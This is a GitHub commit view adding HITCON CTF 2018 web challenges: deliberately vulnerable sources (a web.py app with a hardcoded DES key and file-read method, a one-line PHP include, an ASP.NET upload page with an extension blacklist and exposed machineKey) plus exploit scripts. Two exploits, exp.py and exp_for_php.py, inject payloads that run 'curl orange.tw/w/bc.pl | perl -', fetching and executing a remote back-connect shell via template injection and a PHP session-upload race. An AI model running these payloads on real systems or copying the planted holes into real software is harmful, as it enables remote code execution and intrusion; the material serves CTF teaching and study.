Skip to content

Commit 0f9e589

Browse files
orangetworangetw
committed
add 2018
1 parent c1051eb commit 0f9e589

File tree

14 files changed

+325
-2
lines changed

14 files changed

+325
-2
lines changed

‎README.md

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,8 @@ P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04
8686

8787
#### Write Ups
8888

89-
* TBD
89+
* [(English)One Line PHP Challenge](https://hackmd.io/s/B1A2JIjjm)
90+
* [(中文)One Line PHP Challenge](https://hackmd.io/s/SkxOwAqiQ)
9091

9192

9293
## **Baby Cake**
@@ -119,7 +120,7 @@ http://13.230.134.135/
119120

120121
#### Write Ups
121122

122-
* TBD
123+
* [Baby Cake](https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake)
123124

124125
## **Oh My Raddit**
125126

‎hitcon-ctf-2018/baby-cake/baby_cake.tgz

4.17 MB
Binary file not shown.

‎hitcon-ctf-2018/baby-cake/exploit.phar

807 Bytes
Binary file not shown.

‎hitcon-ctf-2018/oh-my-raddit/exp.py

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import requests
2+
import urlparse
3+
from Crypto.Cipher import DES
4+
5+
KEY = 'megnnaro'
6+
def encrypt(s):
7+
length = DES.block_size - (len(s) % DES.block_size)
8+
s = s + chr(length)*length
9+
10+
cipher = DES.new(KEY, DES.MODE_ECB)
11+
return cipher.encrypt(s).encode('hex')
12+
13+
payload = encrypt("m=p&l=${[].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('curl orange.tw/w/bc.pl | perl -').read()}")
14+
r = requests.get('http://13.115.255.46/?s=' + payload)
15+
print r.content

‎hitcon-ctf-2018/oh-my-raddit/src/app.py

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
# coding: UTF-8
2+
import os
3+
import web
4+
import urllib
5+
import urlparse
6+
from Crypto.Cipher import DES
7+
8+
web.config.debug = False
9+
ENCRPYTION_KEY = 'megnnaro'
10+
11+
12+
urls = (
13+
'/', 'index'
14+
)
15+
app = web.application(urls, globals())
16+
db = web.database(dbn='sqlite', db='db.db')
17+
18+
19+
def encrypt(s):
20+
length = DES.block_size - (len(s) % DES.block_size)
21+
s = s + chr(length)*length
22+
23+
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
24+
return cipher.encrypt(s).encode('hex')
25+
26+
def decrypt(s):
27+
try:
28+
data = s.decode('hex')
29+
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
30+
31+
data = cipher.decrypt(data)
32+
data = data[:-ord(data[-1])]
33+
return dict(urlparse.parse_qsl(data))
34+
except Exception as e:
35+
print e.message
36+
return {}
37+
38+
def get_posts(limit=None):
39+
records = []
40+
for i in db.select('posts', limit=limit, order='ups desc'):
41+
tmp = {
42+
'm': 'r',
43+
't': i.title.encode('utf-8', 'ignore'),
44+
'u': i.id,
45+
}
46+
tmp['param'] = encrypt(urllib.urlencode(tmp))
47+
tmp['ups'] = i.ups
48+
if i.file:
49+
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
50+
else:
51+
tmp['file'] = ''
52+
53+
records.append( tmp )
54+
return records
55+
56+
def get_urls():
57+
urls = []
58+
for i in [10, 100, 1000]:
59+
data = {
60+
'm': 'p',
61+
'l': i
62+
}
63+
urls.append( encrypt(urllib.urlencode(data)) )
64+
return urls
65+
66+
class index:
67+
def GET(self):
68+
s = web.input().get('s')
69+
if not s:
70+
return web.template.frender('templates/index.html')(get_posts(), get_urls())
71+
else:
72+
s = decrypt(s)
73+
method = s.get('m', '')
74+
if method and method not in list('rdp'):
75+
return 'param error'
76+
if method == 'r':
77+
uid = s.get('u')
78+
record = db.select('posts', where='id=$id', vars={'id': uid}).first()
79+
if record:
80+
raise web.seeother(record.url)
81+
else:
82+
return 'not found'
83+
elif method == 'd':
84+
file = s.get('f')
85+
if not os.path.exists(file):
86+
return 'not found'
87+
name = os.path.basename(file)
88+
web.header('Content-Disposition', 'attachment; filename=%s' % name)
89+
web.header('Content-Type', 'application/pdf')
90+
with open(file, 'rb') as fp:
91+
data = fp.read()
92+
return data
93+
elif method == 'p':
94+
limit = s.get('l')
95+
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
96+
else:
97+
return web.template.frender('templates/index.html')(get_posts(), get_urls())
98+
99+
100+
if __name__ == "__main__":
101+
app.run()

‎hitcon-ctf-2018/oh-my-raddit/src/db.db

40 KB
Binary file not shown.

‎hitcon-ctf-2018/oh-my-raddit/src/requirements.txt

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
pycrypto==2.6.1
2+
web.py==0.38

‎hitcon-ctf-2018/oh-my-raddit/src/static/bootstrap.min.css

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎hitcon-ctf-2018/oh-my-raddit/src/static/hint.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
assert ENCRYPTION_KEY.islower()

‎hitcon-ctf-2018/oh-my-raddit/src/templates/index.html

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
$def with (records, urls)
2+
<!DOCTYPE html>
3+
<html>
4+
<head>
5+
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
6+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
7+
<title>
8+
On my Raddit
9+
</title>
10+
11+
<link href="/static/bootstrap.min.css" rel="stylesheet">
12+
<style>
13+
body {
14+
font-family: "Josefin Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
15+
}
16+
</style>
17+
<script type="text/javascript">
18+
function change(t){
19+
var limit = t.value
20+
if (limit == 10) {
21+
location.href = '?s=$urls[0]';
22+
} else if (limit == 100) {
23+
location.href = '?s=$urls[1]';
24+
} else {
25+
location.href = '/';
26+
}
27+
}
28+
29+
</script>
30+
</head>
31+
<body>
32+
<div class="container">
33+
<div class="jumbotron" style='background: #f7f7f7'>
34+
<h1>On my Raddit</h1>
35+
<p>Flag is <b>hitcon{ENCRYPTION_KEY}</b>, and here is a <b><a href='static/hint.py'>hint</a></b> for you :P</p>
36+
<p><i>P.S. If you fail in submitting the flag and want to argue with author, read the source first!</i></p>
37+
<br />
38+
<p>
39+
Totoal: ${len(records)} &nbsp;
40+
<select onchange='change(this)'>
41+
<option value="10">10</option>
42+
<option value="100">100</option>
43+
<option value="All" selected>All</option>
44+
</select>
45+
</p>
46+
<table class="table">
47+
<thead>
48+
<tr>
49+
<th scope="col">Ups</th>
50+
<th scope="col">Title</th>
51+
<th scope="col">File</th>
52+
</tr>
53+
</thead>
54+
<tbody>
55+
$for r in records:
56+
<tr>
57+
<td>$r['ups']</td>
58+
<td><a href="?s=$r['param']">$r['t']</a></td>
59+
$if r['file'] :
60+
<td><a href="?s=$r['file']">down</a></td>
61+
$else:
62+
<td></td>
63+
</tr>
64+
</tbody>
65+
</table>
66+
</div>
67+
</div>
68+
</body>
69+
</html>

‎hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
import sys
2+
import string
3+
import requests
4+
from base64 import b64encode
5+
from random import sample, randint
6+
from multiprocessing.dummy import Pool as ThreadPool
7+
8+
9+
10+
HOST = 'http://54.250.246.238/'
11+
sess_name = 'iamorange'
12+
13+
headers = {
14+
'Connection': 'close',
15+
'Cookie': 'PHPSESSID=' + sess_name
16+
}
17+
18+
payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
19+
20+
21+
while 1:
22+
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
23+
x = b64encode(payload + junk)
24+
xx = b64encode(b64encode(payload + junk))
25+
xxx = b64encode(b64encode(b64encode(payload + junk)))
26+
if '=' not in x and '=' not in xx and '=' not in xxx:
27+
print payload
28+
break
29+
30+
def runner1(i):
31+
data = {
32+
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
33+
}
34+
while 1:
35+
fp = open('/etc/passwd', 'rb')
36+
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
37+
fp.close()
38+
39+
def runner2(i):
40+
filename = '/var/lib/php/sessions/sess_' + sess_name
41+
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
42+
# print filename
43+
while 1:
44+
url = '%s?orange=%s' % (HOST, filename)
45+
r = requests.get(url, headers=headers)
46+
c = r.content
47+
if c and 'orange' not in c:
48+
print [c]
49+
50+
51+
if sys.argv[1] == '1':
52+
runner = runner1
53+
else:
54+
runner = runner2
55+
56+
pool = ThreadPool(32)
57+
result = pool.map_async( runner, range(32) ).get(0xffff)
58+

‎hitcon-ctf-2018/one-line-php-challenge/src/index.php

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<?php
2+
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

‎hitcon-ctf-2018/why-so-serials/src/Default.aspx

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
<%@ Page Language="C#" %>
2+
<script runat="server">
3+
protected void Button1_Click(object sender, EventArgs e) {
4+
if (FileUpload1.HasFile) {
5+
try {
6+
System.Web.HttpContext context = System.Web.HttpContext.Current;
7+
String filename = FileUpload1.FileName;
8+
String extension = System.IO.Path.GetExtension(filename).ToLower();
9+
String[] blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"};
10+
if (blacklists.Any(extension.Contains)) {
11+
Label1.Text = "What do you do?";
12+
} else {
13+
String ip = context.Request.ServerVariables["REMOTE_ADDR"];
14+
String upload_base = Server.MapPath("/") + "files/" + ip + "/";
15+
if (!System.IO.Directory.Exists(upload_base)) {
16+
System.IO.Directory.CreateDirectory(upload_base);
17+
}
18+
19+
filename = Guid.NewGuid() + extension;
20+
FileUpload1.SaveAs(upload_base + filename);
21+
22+
Label1.Text = String.Format("<a href='files/{0}/{1}'>This is file</a>", ip, filename);
23+
}
24+
}
25+
catch (Exception ex)
26+
{
27+
Label1.Text = "ERROR: " + ex.Message.ToString();
28+
}
29+
} else {
30+
Label1.Text = "You have not specified a file.";
31+
}
32+
}
33+
</script>
34+
35+
<!DOCTYPE html>
36+
<html>
37+
<head runat="server">
38+
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
39+
<link rel="stylesheet" type="text/css" href="bootstrap.min.css">
40+
<title>Why so Serials?</title>
41+
</head>
42+
<body>
43+
<div class="container">
44+
<div class="jumbotron" style='background: #f7f7f7'>
45+
<h1>Why so Serials?</h1>
46+
<p>May the <b><a href='Default.aspx.txt'>source</a></b> be with you!</p>
47+
<br />
48+
<form id="form1" runat="server">
49+
<div class="input-group">
50+
<asp:FileUpload ID="FileUpload1" runat="server" class="form-control"/>
51+
<span class="input-group-btn">
52+
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
53+
Text="GO" class="btn"/>
54+
</span>
55+
</div>
56+
<br />
57+
<br />
58+
<br />
59+
<div class="alert alert-primary text-center">
60+
<asp:Label ID="Label1" runat="server"></asp:Label>
61+
</div>
62+
</form>
63+
</div>
64+
</div>
65+
</body>
66+
</html>

‎hitcon-ctf-2018/why-so-serials/src/web.config

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<configuration>
3+
<system.web>
4+
<customErrors mode="Off"/>
5+
<machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" />
6+
</system.web>
7+
</configuration>

0 commit comments

Comments
 (0)